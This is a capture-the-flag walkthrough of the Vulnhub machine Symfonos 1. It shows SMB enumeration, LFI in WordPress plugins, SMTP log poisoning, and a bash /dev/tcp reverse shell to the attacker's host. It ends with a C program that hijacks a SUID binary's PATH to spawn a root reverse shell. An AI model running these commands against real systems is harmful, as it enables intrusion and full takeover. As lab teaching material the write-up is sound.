# Symfonos: 1 - Walkthrough

### Machine Details
#### Name: Symfonos 1
#### OS: Linux
#### Platform: [Vulnhub](https://www.vulnhub.com)
#### Machine Link: [Download Symfonos 1](https://www.vulnhub.com/entry/symfonos-1,322/)
___
### Obtaining the assigned machine IP address
After setting up the machine on VMWare, the first step is to find the IP address assigned to the machine. To do this, we can use several methods. The two I use often is shown below:

sudo netdiscover -r 192.168.50.0/24


fping -a -g 192.168.50.0/24 2>/dev/null


For my configuration, the machine has the IP address of 192.168.60.129. Before moving on, I updated my hosts file with the IP address as suggested by the author.


192.168.50.129    symfonos.local

### Getting Started
Now that the ground work is done, I started with an nmap scan. A quick scan on the IP address gives the output shown below:


### Port 80 - HTTP
Visting the http service on port 80, I was presented with the following page


Enumerating further, I ran dirb on the page to see if I can find some interesting/hidden pages. But I did not get much from that.


### Ports 139 & 445 - SMB
I quickly moved to enumerate the SMB service running on the machine. I checked if anonymous access is allowed on the service using crackmapexec and found that it is allowed.

crackmapexec smb symfonos.local -d 192.168.50.129 -u '' -p '' --shares


I like using crackmapexec because it quickly shows what permissions I have on what share. Alternatively, I could have done the same thing using smbclient.

smbclient -L //symfonos.local -N

Accessing the anonymous share, we get a file named `attention.txt`. I downloaded the file in order to view the content.



From the file content, I was able to generate a list of possible passwords. Also checking back on the SMB shares, we have a possible username `helios`.

Then I tried to access the `helios` share using these combinations and I found a working credential for helios.

helios:qwerty

To connect to the share, I used the command below:

smbclient //symfonos.local/helios -U 'helios' -W symfonos.local

Opening the share, I obtained two more files: `research.txt` and `todo.txt`. The content of both files is displayed below:



Now there is a new directory, `h3l105`.

### Ret2Port80
Going back to the web service and visiting the new directory, the service is running an instance of WordPress.


While navigating through the site, I ran wpscan in the background to check for installed plugins and usernames.

wpscan --url http://symfonos.local/h3l105 --enumerate ap,u

The scan identified two plugins and one username.



I started a brute force for the user `admin` in the background while I proceeded to enumerate the plugins. A quick search on both `mail-masta` and `site-editor` shows that they both are vulnerable to Local File Inclusion: [Mail Masta](https://exploit-db.com/exploits/40290) and [Site Editor](https://exploit-db.com/exploits/44340).

Going through the exploit, I identified that I could read local files such as `/etc/passwd`.


At this stage, I tried to see if I could possibly extract ssh credentials from `helios` home directory but I could not. So I moved on to the next phase.

#### Port 25 - SMTP
Going back to the scan result, there is a mail server running on port 25. The WordPress is running mail-masta, could this be a coincidence I thought xD. I tried reading `helios` mail using the LFI vulnerability and I was able to read the mail at `/var/mail/helios`.


My next line of action is to find a way to inject some code into the mail and get it to execute.

### SMTP Log Poisoning
To test this, I connected to the SMTP service using nc and sent some malicious PHP code as part of the data to helios. You can read more about SMTP Log Poisoning to command execution [here](https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/).

To automate the process, I created a simple python script which you can find [here](https://github.com/noxcoder/vulnhub-machines/blob/main/symfonos-series/symfonos1/smtp_log_poisoning.py).


Now, visiting helios mail through LFI, I have command execution.


Next step is for me to obtain a shell. I used the classic old way.

bash -c 'bash -i >& /dev/tcp/192.168.50.128/9001 0>&1'

### Let Shells rain!!!
I obtained a reverse shell as the `helios` user. To gain a stable foothold, I generated and uploaded my public ssh key to the authorized_keys files in the .ssh folder within the home directory and I was able to log in as `helios` using ssh.

### Privilege Escalation
Further enumeration on the box, I searched for SUID files and I found a weird one that stood out to me.


The file at /opt/statuscheck is odd. So I proceeded to find out what the binary does.


So it seems the binary executes the `curl` command on some web server. Then I ran strings on the binary to see how exactly it is using the command.

strings -n 8 statuscheck


The binary is executing curl command without specifying the full path to the curl binary. In order to exploit this, I needed to create a malicious binary, name it as curl.c, export the binary's location to $PATH and if I execute the statuscheck binary, it should execute using my curl file with the set privileges. You can find the file below.

#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    char *binaryPath = "/bin/bash";
    char *args[] = {binaryPath, "-c", "bash -i >& /dev/tcp/192.168.50.128/9001 0>&1", NULL};
    
    execv(binaryPath, args);
    return 0;
}

Then I compiled the C code into binary using the gcc compiler available on the box.

gcc curl.c -o curl

Next, I added the user's home directory to the PATH

export PATH=/home/helios:$PATH

### We are ROOT!
Now I executed the `/opt/statuscheck` binary again and I got a reverse shell as root.


You can also add your ssh keys to the authorized_keys in the root directory to further stabilize your shell. And that is SYMFONOS 1.

Hope you enjoyed reading! See you in the next one.

###### tags: `symfonos` `vulnhub` `smb` `mail-masta` `site-editor` `smtp log poisoning` `smtp injection` `suid` `path hijacking`